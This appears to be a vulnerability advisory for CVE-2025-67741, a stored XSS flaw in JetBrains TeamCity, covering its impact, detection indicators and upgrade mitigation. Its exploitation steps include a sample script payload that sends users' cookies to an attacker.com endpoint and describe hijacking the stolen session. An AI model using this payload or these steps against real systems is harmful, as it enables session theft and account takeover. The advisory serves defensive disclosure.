CVE-2025-67741: 
JetBrains TeamCity vulnerability analysis and mitigation

CVE-2025-67741 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions before 2025.11. The flaw allows authenticated users with low-level privileges to inject malicious scripts via session attributes, which are then executed in the browsers of other users. It was published on December 11, 2025, and a patch was made available in TeamCity version 2025.11. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat Advisory, JetBrains Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with low privileges can inject malicious JavaScript payloads into TeamCity session attributes, which are subsequently stored server-side and rendered unsanitized in the browsers of other users who access the affected interface. Exploitation requires network access, low privileges, and user interaction (a victim must view the page containing the injected content), with a changed scope indicating cross-context impact (Red Hat Advisory, JetBrains Advisory).

Successful exploitation could allow an attacker to steal sensitive session tokens, hijack authenticated user sessions, perform unauthorized actions within the TeamCity interface on behalf of victims, and potentially exfiltrate data accessible to those users. Because the injected script executes in the context of other users' browsers — including potentially administrators — the integrity and confidentiality of the TeamCity environment are at risk, though availability is not directly impacted (Red Hat Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.015% (0.000150), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection plugins are available via Nessus (plugin 279408) and Qualys (plugin 530766) (JetBrains Advisory, Tenable Nessus).

1. Authentication: Log in to a vulnerable JetBrains TeamCity instance (any version before 2025.11) using a low-privileged account.
2. Identify injection point: Locate the session attribute field(s) within the TeamCity UI that are stored server-side and rendered for other users.
3. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable session attribute field.
4. Wait for victim interaction: When another user (e.g., an administrator) views the page or component that renders the stored session attribute, the malicious script executes in their browser.
5. Harvest results: Collect stolen session cookies or tokens at the attacker-controlled endpoint, then use them to hijack the victim's session and perform unauthorized actions within TeamCity (Red Hat Advisory, JetBrains Advisory).

• Network: Unexpected outbound HTTP requests from users' browsers to external or unknown domains shortly after accessing TeamCity pages; unusual GET/POST requests to attacker-controlled endpoints containing encoded cookie or session data.
• Logs: TeamCity access logs showing unusual or encoded values submitted to session attribute fields by low-privileged accounts; repeated access to specific TeamCity pages by accounts that do not normally visit them.
• Application Behavior: Unexpected session invalidations or privilege escalations; users reporting unexpected redirects or pop-ups within the TeamCity interface.
• Browser/Client: Browser developer tools or proxy logs showing script execution originating from TeamCity-served pages that reference external domains.

JetBrains has released a fix in TeamCity version 2025.11; upgrading to this version or later is the primary recommended remediation (JetBrains Advisory). Organizations unable to upgrade immediately should implement strict input validation and output encoding for session attributes, enforce the principle of least privilege to limit which users can modify session attributes, and monitor for unusual session or script activity. A thorough security review of the TeamCity instance is also advised.

The vulnerability received routine coverage in vulnerability aggregation platforms and security newsletters at the time of disclosure in December 2025, including mention in the Secret CISO newsletter. No notable independent researcher commentary or significant community debate has been identified beyond standard advisory tracking (Secret CISO).